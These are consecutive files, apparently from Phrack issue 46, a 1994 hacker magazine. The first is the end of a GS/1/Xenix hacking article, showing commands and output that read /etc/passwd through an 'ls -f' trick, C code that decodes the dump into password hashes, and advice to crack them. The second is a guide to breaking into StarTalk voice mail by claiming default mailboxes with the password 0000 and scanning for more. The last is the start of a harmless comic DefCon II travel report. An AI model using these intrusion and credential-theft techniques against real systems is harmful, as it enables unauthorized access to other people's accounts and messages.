There is one way to get around the cat problem (no itz n0t puttin catnip laced with somethin U made frum a phile on yer doorstep) It's done using ls. On this Xenix system, the directory structure is the old Unix format: A 16 byte record comprised of a 2 byte I‑number and a 14 byte character field.

Note about directory structure for the inquisitive hacker: In a directory record there is a 14 byte string containing the file name, and the 2 byte I‑number (2 bytes = an integer in this case) which is a number that is an (I)ndex pointer to the I‑node. The I‑node then contains the information about where the file's data is actually kept (similar to how a FAT table works on an IBM PC yet a different concept as it has indirect index blocks etc. I won't get into) and what permissions are set for the file. Be warned that in newer *nix implementations, file names can be more than 14 characters and the directory structure will be a bit different than discussed.

The "ls" command has an option that allows you to tell it "this *file* is a *directory*.. so show me what's in the directory"... newer *nix systems won't like this (the ‑f option) because of the new directory structure.

> (!2) Remote: ls ‑?

> ls: illegal option ‑‑?

> usage: ‑1ACFRabcdfgilmnopqrstux [files]

>

> (!2) Remote: ls ‑1ACFRabcdfgilmnopqrstux ../../etc/passwd

> 28530 ot:BJlx/e8APHe 30580 :0:0:Super use 14962 /:/bin/csh?sys > 25697 m:X/haSqFDwHz1 14929 0:0:System Adm 28265 istration:/usr > 29487 ysadm:/bin/sh? 29283 on:NOLOGIN:1:1 17210 ron daemon for > 28704 eriodic tasks: 14895 ?bin:NOLOGIN:3 13114 :System file a > 28004 inistration:/: 29962 ucp::4:4:Uucp 25697 ministration:/ > 29557 r/spool/uucppu 27746 ic:/usr/lib/uu 28771 /uucico?asg:NO > 20300 GIN:6:6:Assign 25185 le device admi 26990 stration:/:?sy > 26995 nfo:NOLOGIN:10 12602 0:Access to sy 29811 em information > 12090 :?network:NOLO 18759 N:12:12:Mail a 25710 Network admin > 29545 tration:/usr/s 28528 ol/micnet:?lp: 20302 LOGIN:14:3:Pri > 29806 spooler admin 29545 tration:/usr/s 28528 ol/lp:?dos:NOL > 18255 IN:16:10:Acces 8307 to Dos devices 12090 :?ncs:yYNFnHnL > 22327 xcU:100:100:NC 8275 operator:/usr/

>

> (!2) Remote: <BRK>

> (!2) GS/1#

Wow, kewl. Now that you have a bunch‑o‑shit on your screen, you have to make some sense out of it.

The password file is almost legible, but the I‑numbers still need to be converted to ASCII characters. This can be accomplished in a variety of ways... the easiest is to write a program like the following in C:

On a PC the following code should work:

#include <stdio.h>

main()

{

union {

int i;

char c[2];

} x;

while (1) {

printf("Enter I‑Number: ");

scanf("%d", &x.i);

printf("%d = [%c][%c]\n\n", x.i, x.c[0], x.c[1]);

}

}

On a *nix based system the following code will work (depending on word size and byte arrangement):

#include <stdio.h>

main()

{

union {

short int i;

char c[2];

} x;

while (1) {

printf("Enter I‑Number: ");

scanf("%hd", &x.i);

printf("%d = [%c][%c]\n\n", x.i, x.c[1], x.c[0]);

}

}

When you have translated the I‑numbers you can substitute the ASCII values by hand (or write a d0p3 program to do it for you):

28530 ot:BJlx/e8APHe 30580 :0:0:Super use 14962 /:/bin/csh?sys 28530 = [r][o] 30580 = [t][w] 14962 = [r][:] root:BJlx/e8APHetw:0:0:Super user:/:/bin/csh?sys

25697 m:X/haSqFDwHz1 14929 0:0:System Adm 28265 istration:/usr 25697 = [a][d] 14929 = [Q][:] 28265 = [i][n] adm:X/haSqFDwHz1Q:0:0:System Administration:/usr

29487 ysadm:/bin/sh? 29283 on:NOLOGIN:1:1 17210 ron daemon for 29487 = [/][s] 29283 = [c][r] 17210 = [:][C] /sysadm:/bin/sh?cron:NOLOGIN:1:1:Cron daemon for

28704 eriodic tasks: 14895 ?bin:NOLOGIN:3 13114 :System file a 28704 = [ ][p] 14895 = [/][:] 13114 = [:][3] periodic tasks:/:?bin:NOLOGIN:3:3:System file a

28004 inistration:/: 29962 ucp::4:4:Uucp 25697 ministration:/ 28004 = [d][m] 29962 = [^M][u] 25697 = [a][d] dministration:/:

uucp::4:4:Uucp administration:/

29557 r/spool/uucppu 27746 ic:/usr/lib/uu 28771 /uucico?asg:NO 29557 = [u][s] 27746 = [b][l] 28771 = [c][p] usr/spool/uucppublic:/usr/lib/uucp/uucico?asg:NO

20300 GIN:6:6:Assign 25185 le device admi 26990 stration:/:?sy 20300 = [L][O] 25185 = [a][b] 26990 = [n][i] LOGIN:6:6:Assignable device administration:/:?sy

26995 nfo:NOLOGIN:10 12602 0:Access to sy 29811 em information 26995 = [s][i] 12602 = [:][1] 29811 = [s][t] sinfo:NOLOGIN:10:10:Access to system information

12090 :?network:NOLO 18759 N:12:12:Mail a 25710 Network admin 12090 = [:][/] 18759 = [G][I] 25710 = [n][d] :/:?network:NOLOGIN:12:12:Mail and Network admin

29545 tration:/usr/s 28528 ol/micnet:?lp: 20302 LOGIN:14:3:Pri 29545 = [i][s] 28528 = [p][o] 20302 = [N][O] istration:/usr/spool/micnet:?lp:NOLOGIN:14:3:Pri

29806 spooler admin 29545 tration:/usr/s 28528 ol/lp:?dos:NOL 29806 = [n][t] 29545 = [i][s] 28528 = [p][o]

nt spooler administration:/usr/spool/lp:?dos:NOL

18255 IN:16:10:Acces 8307 to Dos devices 12090 :?ncs:yYNFmHnL 18255 = [O][G] 8307 = [s][ ] 12090 = [:][/] OGIN:16:10:Access to Dos devices:/:?ncs:yYNFnHnL

22327 xcU:100:100:NC 8275 operator:/usr/

22327 = [7][W] 8275 = [S][ ]

7WxcU:100:100:NCS operator:/usr

The resulting file will look like the following:

root:BJlx/e8APHetw:0:0:Super user:/:/bin/csh?sys adm:X/haSqFDwHz1Q:0:0:System Administration:/usr /sysadm:/bin/sh?cron:NOLOGIN:1:1:Cron daemon for

periodic tasks:/:?bin:NOLOGIN:3:3:System file a

dministration:/:

uucp::4:4:Uucp administration:/ usr/spool/uucppublic:/usr/lib/uucp/uucico?asg:NO LOGIN:6:6:Assignable device administration:/:?sy sinfo:NOLOGIN:10:10:Access to system information :/:?network:NOLOGIN:12:12:Mail and Network admin istration:/usr/spool/micnet:?lp:NOLOGIN:14:3:Pri

nt spooler administration:/usr/spool/lp:?dos:NOL OGIN:16:10:Access to Dos devices:/:?ncs:yYNFmHnL 7WxcU:100:100:NCS operator:/usr

Because the ls command cannot display "non‑printable" characters such as the carriage return, it will replace them with a '?' character... delete the '?' characters and divide by line at these locations. When you finish doing that, you'll have a standard /etc/passwd file:

root:BJlx/e8APHetw:0:0:Super user:/:/bin/csh sysadm:X/haSqFDwHz1Q:0:0:System Administration:/usr/sysadm:/bin/sh cron:NOLOGIN:1:1:Cron daemon for periodic tasks:/: bin:NOLOGIN:3:3:System file administration:/:

uucp::4:4:Uucp administration:/usr/spool/uucppublic:/usr/lib/uucp/uucico asg:NOLOGIN:6:6:Assignable device administration:/: sysinfo:NOLOGIN:10:10:Access to system information:/: network:NOLOGIN:12:12:Mail and Network administration:/usr/spool/micnet: lp:NOLOGIN:14:3:Print spooler administration:/usr/spool/lp: dos:NOLOGIN:16:10:Access to Dos devices:/: ncs:yYNFmHnL7WxcU:100:100:NCS operator:/usr

Once you've assembled your password file in a standard ASCII form, you'll of course want to crack it with one of the many available DES cracking programs.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+ #7: Other Avenues +

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Find out what else you can play with by first finding what networks are available other than your own, and second, find out what machines are on your network:

>(!2) GS/1# sh att

> Attached Networks

>&000023B5

>(!2) GS/1# sh nmap l

> NETWORK &000023B5 MAP

>

> 1‑%070002017781 SW/AT‑NCS 3.0.2 2‑%070002A049C5 SW/NB‑BR‑3.1.1.1 > 3‑%0700020269A7 SW/200‑A/BSC/SDL22000 4‑%07000201C089 SW/200‑A/BSC/SDL22020 > 5‑%070002023644 SW/200‑A/BSC/SDL22020 6‑%0700020138B2 SW/AT‑NCS 2.1.1 > 7‑%070002010855 SW/100‑A/BSC 20060 8‑%070002018BA2 SW/20‑XNS‑X.25 .0.2 > .... etc.

The boot server address, from previous examples, is number 1

which contains a description "SW/AT‑NCS". Examining the rest of the list, number 6 has the same description. System 12 may be just another address for the boot server or it may be a different Xenix... but it should be Xenix whatever it is.

We have refrained from covering the typical GS/1 information that has been published by others; and instead, covered newer concepts in GS/1 hacking. This phile is not a complete guide to GS/1 hacking; but expect successive publications on the topic.

Startalk

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 18 of 26

****************************************

***** ******** **** ***** **

***** **** ** ** ** **

**** **** ** ** ** ** **

***** **** ** ** ** ***

(*) A Complete 'N Easy Guide to Hacking and the (*) (*) Usage of "StarTalk" Voice Mail Systems (*)

Written By: The Red Skull

07/25/94

Introduction

~~~~~~~

There are many types of different voice mail systems out there, that run on phone systems they are compatible with. You have probably seen a lot of text files about hacking voice mail systems, on your local bulletin boards. The popular ones you might have heard about are systems like, Aspen (Automatic Speech Exchange Network), TMC (The Message Center), Audix, and Meridian Mail. There are VMB hacking programs that are suppose to hack vmbs for you. I really don't believe in those kind of programs. When I say this, I am not talking about programs like Tone Locator or Blue Beep, I am talking about programs like 'The Aspen Hacker' and any other *VMB* hacking programs. I am just saying this, so you don't mix this guide up with a vmb hacking program.

General Information

~~~~~~~~~~~

I have decided to write a hacking/user's guide for the StarTalk Voice Mail System because there is no guide for the StarTalk Voice Mail System, and almost no one has heard about it. Since this will be the first one for it, I will try and explain it as simply as possible. You might have heard of Northern Telecom. They are the makers of StarTalk, but they are also the makers of a very popular user‑friendly Voice Mail System called 'Meridian Mail'. Both StarTalk and Meridian Mail run on the Norstar telephone system. StarTalk is designed to function as an extension of the Norstar telephone system. All the StarTalk software operation is done on a Norstar telephone set, so that means it doesn't run on a computer terminal. There are 3 different sizes and configurations that the StarTalk Voice Mail System comes with ‑

o Model 110 ‑ 2 voice channels, with 1 hour and 50 minutes total storage.

o Model 165 ‑ 4 voice channels, with 2 hours and 45 minutes total storage.

o Model 385 ‑ 4 voice channels, with 6 hours and 25 minutes total storage.

The capabilities of StarTalk Model 385 can be further expanded through an enhancement option, available in 4, 6 or 8 channel versions, which provides a total of 9 hours an 45 minutes of storage.

Right now, you might be wondering what the hell i'm talking about, but it's simple. The number of voice channels means how many voice mail users could be using their voice mail. So for example, 4 voice channels, means only 4 voice mail users could be on the voice mail system. The Model 110 can hold about 25 boxes, the Model 165 can hold 50 boxes and the Model 385 can hold 120 boxes and higher. So, it's better if you find a StarTalk Voice Mail System that is running Model 385. The part that says 'with 6 hours and 25 minutes total storage', means how many hours of messages it can store. The Model 385 is also upgradable. I could go on about the models but that's all we need to know for now. So now that we've finished this, we will get into the part that you've been waiting for.

Finding a StarTalk Voice Mail System

~~~~~~~~~~~~~~~~~~~

You will probably not be able to recognize a StarTalk voice mail system if you find one using a war dialer, because when a StarTalk system answers, it will only have the company's personalized automated greeting. There are only two ways to get a StarTalk system: you either scan it out yourself or get it from someone else. If you get it from someone else, all the boxes will probably be gone, used or just not safe.

Recognizing a StarTalk Voice Mail System

~~~~~~~~~~~~~~~~~~~~~

Ok, now let's say you have come across a StarTalk system, how do you know that it's a StarTalk? As I said, you will not be able to tell if it's a StarTalk system by just calling it. If the system is a Startalk, when the company's personalized greeting answers, press '*' and it should say ‑

"Please enter the mailbox number, or press the # sign to use the directory"

Remember, if you press '*' and just sit there, it will repeat the message one more `time, and then say "Exiting the system."

If you hit '**' it should say ‑

"Please enter your mailbox number and your password, then press # sign"

If you don't get anything like this, that means it's not a StarTalk Voice Mail System. If you are still not sure that you have a StarTalk System, then you can always call 416‑777‑2020 and listen to the voice and see if it matches with what you have found.

Finding a Virgin Box

~~~~~~~~~~~~~

This is a very interesting step and also an easy one. Once you have found a StarTalk Voice Mail System, the first thing you'll want to do is get some boxes on it. The interesting part is that you are always guaranteed to get one box on a StarTalk System. This is because every StarTalk System has a box that is for the voice mail users to leave any problems they are experiencing with their vmb. This is the box that almost always has a default on it, but if the System Admin is smart he will change it. So far, on all the StarTalk systems that I have come across the default for this box hasn't been changed. The box number is '101' and the defaults for StarTalk Voice Mail systems are '0000'. So the first thing you should do is call up the system and press *101 and the default greeting on the box should say (this greeting is for box 101 only) ‑

"This is the Trouble‑Report mailbox, if you are experiencing difficulty using the messaging features, please leave your name, mailbox # and a detailed description of the problem" *BEEP*

If it says that, press '**' and then when it asks you to enter your mailbox number and your password, enter '1010000' and press the # sign. If you've followed everything I've said and the System Admin hasn't changed the default on this box, it should go ahead and ask you to enter your new personal mailbox password. There is another box number which is sometimes at the default which is the System Admin's box at 102. Although this is a System Admin box, the only System Admin option it has available is to leave a broadcast message, which leaves a message to all boxes on the system. This box will have the regular default greeting which is ‑

"This mailbox is not initialized and cannot accept messages, please try again later"

Do the same thing you did before, If it says that, press '**' and then when it asks you to enter your mailbox number and your password, enter '1020000' and press the # sign. If everything is fine, it should ask you to enter your new personal mailbox password. This is called Initializing your mailbox, and I'll talk about this later in this file. So, there you go, you've got your box on a StarTalk System. All StarTalk Voice Mail Systems that I have run into so far have had 2‑3 digit mailboxes. Now, to hack any other boxes through the system, you would have to go and keep on trying 3 digit mailbox number starting with 1XX, until you find an empty box with a regular default greeting. Let's say you find another empty box at box number 130, you will do the same thing, press '**' and when it asks you to enter your mailbox number and your password, enter '1300000' and press the # sign. One thing I like about box number '101' is that, a lot of System Admin's are not aware that it even exists, that is because they probably have a lousy TSR (Technical Service Rep). (This is the person that is suppose to help them install the Voice Mail System.)

What to do After you've Got A StarTalk Voice Mail Box

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The rest of the file will concentrate on all the inside functions and options that a StarTalk Voice Mail Box has. We will be covering all these topics ‑

o Initializing a Mailbox

o Your Mailbox Greeting

o Recording a Greeting

o Choosing a Mailbox Greeting

o Listening To Messages

o Off‑premise Message Notification

o Setting Up Off‑premise Message Notification

o Disabling Off‑premise Message Notification

o Changing Off‑premise Message Notification

o Leaving a Mailbox Message

o Message Delivery Options

o Assigning the Target Attendant

o Quick Reference Tips

Your Mailbox

~~~~~~~

Before you can use your mailbox, you must:

‑ open your mailbox

‑ change your password

‑ record your name

‑ record your personal mailbox greeting(s)

This is called Initializing your mailbox.

Initializing a Mailbox

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To open and initialize your mailbox:

1. Press * * and Mailbox #

2. Enter the default password '0000'

3. To end the password, press #

4. The StarTalk voice prompt, asks you to enter your new personal mailbox password.

5. Using touchtones, enter your new mailbox password. Your password can be from 4 to 8 digits long, but it cannot start with zero.

6. To end your password, press #

7. After you have accepted your password, you are asked to record your name in the Company Directory, At the tone, record your name.

8. To end your recording, press #

9. To accept your recording, press #

You are now ready to record your personal mailbox greetings. Once your greetings are recorded, you have the option of selecting either your primary or alternate greeting. If you do not select a greeting, your primary greeting plays automatically.

Note: Initializing a mailbox is only done the first time you open your mailbox. You have to initialize your mailbox to receive messages.

Your Mailbox Greeting

~~~~~~~~~~~~

Each mailbox has a primary and alternate greeting recorded by you. After you have recorded your personal mailbox greetings, you can choose which greeting you play to callers reaching your mailbox.

Recording a Greeting

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To record your greetings, you must first open your mailbox. Once you have opened your mailbox:

1. Press 8

2. To select Greeting Options, press 2

3. To record your greeting, press 1

4. Select which greeting you are going to record.

Note: You can choose to record either your primary or alternate mailbox greeting.

5. To record your greeting, press 1

6. At the tone, record your greeting.

7. To end your greeting, press #

8. To accept this recording, press #

Choosing a Mailbox Greeting

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

After the mailbox greeting is recorded, you can choose which greeting you are going to use. If you do not choose a mailbox greeting, Startalk automatically plays your primary greeting. To choose a mailbox greeting you must open your mailbox. Once you have opened your mailbox:

1. Press 8

2. To select Greeting Options, press 2

3. Press 2

4. Select which mailbox greeting your mailbox is going to use.

Listening To Messages

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Each time you open your mailbox, StarTalk plays any Broadcast messages left by the System Admin (don't reply to them!), and also tells you how many other messages are in your mailbox. Messages are played beginning with any Urgent messages, followed by the first message left in your mailbox.

To listen to messages, you must open your mailbox. Once you have opened your mailbox:

1. To listen to messages, press 2 or to listen to your saved messages, press 6

Your first message starts to play. While listening to a message, or after a message has played, you can:

Replay the message : 1 1

Back up 9 seconds : 1

Pause and Continue : 2 to pause then 2 to continue Forward 9 seconds : 3

Skip to the end of message : 3 3

Play the previous message : 4

Forward the message : 5

Skip to the next message : 6

Play time and date stamp : 7

Save a Message : 7 7

Erase the message : 8

Reply to the message : 9

Volume control : *

Note: After listening to the messages left in your mailbox and exiting StarTalk, all messages you do not erase are automatically saved.

Off‑premise Message Notification

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Off‑premise Message Notification, to a telephone number or a pager, alerts you when messages are left in your mailbox. Off‑premise Message Notification is enabled in the StarTalk Class of Service designation by the System Coordinator.

Setting Up Off‑premise Message Notification

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To set up Off‑premise Message Notification, you must first open your mailbox. Once you have opened your mailbox:

1. Open the mailbox admin menu, press 8

2. Open the message notification menu, press 6

3. To set up message notification, press 1

4. To select a line, press 1

Note: You can also select line, pool or intercom.

(YOU HAVE TO SELECT LINE)

5. Enter a line, pool or IC number, press #

Note: You have to enter '1', or '01' as the line if 1 doesn't work. 6. To accept the line, pool or IC number, press #

7. Enter the destination telephone number, press #

Note: While you are entering a telephone number, you can press a dialpad number to represent dialtone recognition or other telephone number options. When StarTalk is installed with PBX or Centrex and you want to access an outside line, you must enter the command to recognize dial tone. For example enter 9 to access an outside line, press # then enter 4 to recognize dialtone press 2 followed by the destination number, press # and any required pauses. Each pause entered is four seconds long. 8. To end the telephone number, press #

9. To accept the telephone number, press #

10. To accept the destination type telephone, press # and move to step 12. To change the destination type to pager, press 1

Note: The destination type can be either telephone or pager. StarTalk automatically selects telephone. When the pager destination type is selected, a pause must be inserted. The number of pauses required depends on the pager system being used.

11. To accept the destination type, press #

If the message destination type is a telephone, you must set a start time. 12. Enter the time when Off‑premise Message Notification is to start. Note: This is a four‑digit field. Any single digit hour and minute must be preceded by a zero.

13. Press 1 for AM, 2 for PM.

14. To accept the start time, press #

15. Enter the time when Off‑premise Message Notification is to stop. Note : This is a four‑digit field. Any single digit hour and minute must be preceded by a zero.

16. Press 1 for AM, 2 for PM.

17. To accept the stop time, press #

18. To accept the message type NEW, press #

To change the message type to URGENT, press 1

Note: The default message type is NEW. This means you are notified whenever you receive a new message. Changing the message type changes NEW to URGENT. This means you are only notified when you receive an urgent message.

19. To accept the message type, press #

The Off‑premise Message Notification will begin as soon as the start time is reached. You will be called whenever you receive a message.

Disabling Off‑premise Message Notification

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To disable Off‑premise Message Notification, you must first open your mailbox, Once your mailbox is open:

1. Open the mailbox admin menu, press 8

2. To access the message notification menu, press 6

3. To listen to the options, press 2

4. To disable message notification, press 1

Off‑premise Message Notification is disabled.

Changing Off‑premise Message Notification

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To change Off‑premise Message Notification, you must first open your mailbox, Once you have opened your mailbox:

1. Open the mailbox admin menu, press 8

2. Open the message notification menu, press 6

3. To change message notification press 1

4. To select a line, press 1

5. Press 1

If you wish to change the line, press #

6. Enter the new line number.

7. To end the line number, press #

8. To accept the line number, press #

9. Press 1

If you do not wish to change the destination telephone number, press # 10. Enter the new destination telephone number.

11. To end the telephone number, press #

12. To accept the telephone number, press #

13. To change the destination type, press 1

14. To accept the destination type, press #

15. To change the start time, press 1

If you do not wish to change the time, press #

16. Enter the time when Off‑premise Message Notification is to start. 17. Press 1 for AM, 2 for PM.

18. To accept the start time, press #

19. To change the stop time, press 1

If you do not wish to change the time, press #

20. Enter the time when Off‑premise Message Notification is to stop. 21. Press 1 for AM, 2 for PM.

22. To accept the stop time, press #

23. To change the message type, press 1

24. To accept the message type, press #

Leaving a Mailbox Message

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

You can leave a message directly in any StarTalk mailbox, as long as that mailbox has been initialized.

To leave a mailbox message:

1. Enter the mailbox # and at the tone, record your message.

2. To end your recording, press #

3. For delivery options, press 3

4. To send your message, press #

Message Delivery Options

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

StarTalk provides you with four message delivery options, which are:

Certified 1 ‑ This delivery option sends you a message and tells you if the person received and read your message, but this is only if the message is inside the system.

Urgent 2 ‑ This delivery option marks the message, and plays it before playing other messages left in your mailbox.

Private 3 ‑ This delivery option prevents a message from being forwarded to another mailbox.

Normal # ‑ This delivery option sends a message to a mailbox. Normal messages are played in the order in which they are received, and can be forwarded to other mailboxes.

After you have recorded your mailbox message, press 3 to access delivery options. To use one of the delivery options, press the right delivery option number.

Note: When leaving a message, you can press 9 to listen to StarTalk voice prompts in the alternate language.

Assigning the Target Attendant

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Anyone that presses [0] when they are connected to your box will be transferred to an operator if your Target Attendant is set to [0] or her mailbox #.

To change from the Operator to the Target Attendant ‑

1. Press 8

2. Press 5

3. Press 1

4. Enter <desired extension>

5. Press *

Quick Reference Tips

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ To save time, you can just interrupt most prompts by press # or selecting a StarTalk option.

‑ If you get lost using StarTalk options, press * to replay the option list

```````````````````````````````````````

Ok, this is the end of the StarTalk voice mail guide. I tried my best to make it as simple as I could with respect to both hacking it and using it. I plan on writing my next file on Smooth Operator, a PC‑based information processing system. I will probably focus more on the terminal part of it. I will try and cover the logins and all other things needed to get around the system. If any readers out there have comments or suggestions on this article, or on my next article, please contact me.

If you would like to talk about this, you can find me on IRC with the nick 'redskull' or you can write me a message on my Internet Address. Internet Address : redskull@io.org

I'd like to thank S. Cleft for giving me some tips and also discovering some of the things I've mentioned in this file.

Cyber Christ Meets Lady Luck Part I

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 19 of 28

****************************************

DefCon II: Las Vegas

Cyber‑Christ meets Lady Luck

July 22‑24, 1994

by Winn Schwartau (C) 1994

Las Vegas connotes radically different images to radically dif ferent folks. The Rat Pack of Sinatra, Dean Martin and Sammy Davis Jr. elicits up the glistening self‑indulgent imagery of Vegas' neon organized crime in the '50's (Ocean's Eleven displayed only minor hacking skills.)

Then there's the daily bus loads of elderly nickel slot gam blers from Los Angeles and Palm Springs who have nothing better to do for twenty out of twenty four hours each day. (Their dead husbands were golf hacks.) Midwesterners now throng to the Mississippi River for cheap gambling.

Recreational vehicles of semi‑trailor length from East Bullock, Montana and Euclid, Oklahoma and Benign, Ohio clog routes 80 and 40 and 10 to descend with a vengeance upon an asphalt home away from home in the parking lot of Circus Circus. By cul tural demand, every Rv'er worth his salt must, at least once in his life, indulge in the depravity of Glitter Gulch.

And so they come, compelled by the invisibly insidious derelict attraction of a desert Mecca whose only purpose in life is to suck the available cash from addicted visitor's electronic purses of ATM and VISA cards. (Hacker? Nah . . .)

Vegas also has the distinction of being home to the largest of the largest conventions and exhibitions in the world. Comdex is the world's largest computer convention where 150,000 technodweebs and silk suited glib techno‑marketers display their wares to a public who is still paying off the 20% per annum debt on last year's greatest new electronic gismo which is now rendered thoroughly obsolete. And the Vegas Consumer Elec tronic Show does for consumer electronics what the First Amend ment does for pornography. (Hackers, are we getting close?)

In between, hundreds upon hundreds of small conferences and conventions and sales meetings and annual excuses for excess all select Las Vegas as the ultimate host city. Whatever you want, no matter how decadent, blasphemous, illegal or immoral, at any hour, is yours for the asking, if you have cash or a clean piece of plastic.

So, it comes as no surprise, that sooner or later, (and it turns out to be sooner) that the hackers of the world, the computer hackers, phone phreaks, cyber‑spooks, Information Warriors, data bankers, Cyber‑punks, Cypher‑punks, eavesdroppers, chippers, virus writers and perhaps the occasional Cyber Christ again picked Las Vegas as the 1994 site for DefCon II.

You see, hackers are like everyone else (sort of) and so they, too, decided that their community was also entitled to hold conferences and conventions.

DefCon (as opposed to Xmas's HoHoCon), is the premier mid‑year hacker extravaganza. Indulgence gone wild, Vegas notwithstanding if previous Cons are any example; but now put a few hundred techno‑anarchists together in sin city USA, stir in liberal doses of illicit controlled pharmaceutical substances, and we have a party that Hunter Thompson would be proud to attend.

All the while, as this anarchistic renegade regiment marches to the tune of a 24 hour city, they are under complete surveillance of the authorities. Authorities like the FBI, the Secret Serv ice, telephone security . . . maybe even Interpol. And how did the "man" arrive in tow behind the techno‑slovens that belong behind bars?

They were invited.

And so was I. Invited to speak. (Loose translation for standing up in front of hundreds of hackers and being verbally skewered for having an opinion not in 100% accordance with their own.)

"C'mon, it'll be fun," I was assured by DefCon's organizer, the Dark Tangent.

"Sure fired way to become mutilated monkey meat," I responded. Some hackers just can't take a joke, especially after a prison sentence and no opposite‑sex sex.

"No really, they want to talk to you . . ."

"I bet."

It's not that I dislike hackers ‑ on the contrary. I have even let a few into my home to play with my kids. It's just that, so many of the antics that hackers have precipitated at other Cons have earned them a reputation of disdain by all, save those who remember their own non‑technical adolescent shenanigans. And I guess I'm no different. I've heard the tales of depraved indif ference, hotel hold‑ups, government raids on folks with names similar to those who are wanted for pushing the wrong key on the keyboard and getting caught for it. I wanted to see teens and Xgeneration types with their eyes so star sapphire glazed over that I could trade them for chips at the craps table.

Does the truth live up to the fiction? God, I hope so. It'd be downright awful and unAmerican if 500 crazed hackers didn't get into at least some serious trouble.

So I go to Vegas because, because, well, it's gonna be fun. And, if I'm lucky, I might even see an alien spaceship.

For you see, the party has already begun.

I go to about 30 conventions and conferences a year, but rarely if ever am I so Tylonol and Aphrin dosed that I decide to go with a severe head cold. Sympomatic relief notwithstanding I debated and debated, and since my entire family was down with the same ailment I figured Vegas was as good a place to be as at home in bed. If I could survive the four and half hour plane flight without my Eustahian tubes rocketing through my ear drums and causing irreparable damage, I had it made.

The flight was made tolerable becuase I scuba dive. Every few minutes I drowned out the drone of the engines by honking uncon trollably like Felix Ungerto without his aspirator. To the chagrin of my outspoken counter surveillance expert and traveling mate, Mike Peros and the rest of the first class cabin, the captain reluctantly allowed be to remain on the flight and not be expelled sans parachute somewhere over Southfork, Texas. Snort, snort. Due to extensive flirting with the two ladies across the aisle, we made the two thousand mile trek in something less than 34 minutes . . . or so it seemed. Time flies took on new mean ing.

For those who don't know, the Sahara Hotel is the dregs of the Strip. We were not destined for Caesar's or the MGM or any of the new multi‑gazillion dollar hotel cum casinos which produce pedestrian stopping extravaganzas as an inducement to suck in little old ladies to pour endless rolls of Washington quarters in mechanical bottomless pits. The Sahara was built some 200 years ago by native slave labor whose idea of plumbing is clean sand and decorators more concerned with a mention in Mud Hut Daily than Architectural Digest. It was just as depressingly dingy and solicitly low class as it was when I forced to spend eleven days there (also with a killer case of the flu) for an extended Comdex computer show. But, hey, for a hacker show, it was top flight.

"What hackers?" The desk clerk said when I asked about the show.

I explained. Computer hackers: the best from all over the coun try. "I hear even Cyber Christ himself might appear."

Her quizzical look emphasized her pause. Better to ignore a question not understood than to look stupid. "Oh, they'll be fine, We have excellent security." The security people, I found out shortly thereafter knew even less: "What's a hacker?" Too much desert sun takes its toll. Proof positive photons are bad for neurons.

Since it was still only 9PM Mike and I sucked down a couple of $1 Heinekens in the casino and fought it out with Lineman's Switch ing Union representatives who were also having their convention at the Sahara. Good taste in hotels goes a long way.

"$70,000 a year to turn a light from red to green?" we com plained.

"It's a tension filled job . . .and the overtime is murder."

"Why a union?"

"To protect our rights."

"What rights?"

"To make sure we don't get replaced by a computer . . ."

"Yeah," I agreed. "That would be sad. No more Amtrak disasters." The crowd got ugly so we made a hasty retreat under the scrutiny of casino security to our rooms. Saved.

Perhaps if I noticed or had read the original propaganda on DefCon, I might have known that nothing significant was going to take place until the following (Friday) evening I might have missed all the fun.

For at around 8AM, my congestion filled cavities and throbbing head was awakened by the sound of an exploding toilet. It's kind of hard to explain what this sounds like. Imagine a toilet flushing through a three megawatt sound system at a Rolling Stones concert. Add to that the sound of a hundred thousand flu victims standing in an echo chamber cleansng their sinuses into a mountain of Kleenex while three dozen football referees blow their foul whistles in unison, and you still won't come close to the sheer cacophonous volume that my Saharan toilet exuded from within its bowels. And all for my benefit.

The hotel manager thought I was kidding. "What do you mean exploded?"

"Which word do you not understand?" I growled in my early morning sub‑sonic voice. "If you don't care, I don't."

My bed was floating. Three or maybe 12 inches of water created the damnedest little tidal wave I'd ever seen, and the sight and sound of Lake Meade in room 1487 only exascerbatd the pressing need to relieve myself. I dried my feet on the extra bed linens, worried about electrocution and fell back asleep. It could have been 3 minutes or three hours later ‑ I have no way to know ‑ but my hypnogoic state was rudely interrupted by hotel mainte nance pounding at the door with three fully operational mufflerless jack hammers.

"I can't open it," I bellowed over the continual roar of my personal Vesuvius Waterfall. "Just c'mon in." The fourteenth floor hallway had to resemble an underwater coral display becuase the door opened ever so slowly..

"Holy Christ!"

Choking back what would have been a painful laugh, I somehow eeked out the words, with a smirk, "Now you know what an exploding toilet is like."

For, I swear, the next two hours three men whose English was worse than a dead Armadillo attempted to suck up the Nile River from my room and the hallway. Until that very moment in time, I didn't know that hotels were outfitted with vacuum cleaners specifically designed to vacuum water. Perhaps this is a regular event.

